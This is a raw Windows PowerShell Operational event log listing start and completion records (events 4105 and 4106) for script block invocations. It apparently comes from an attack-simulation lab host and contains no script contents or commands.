Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042542
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042541
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042535
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042513
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042511
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042510
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
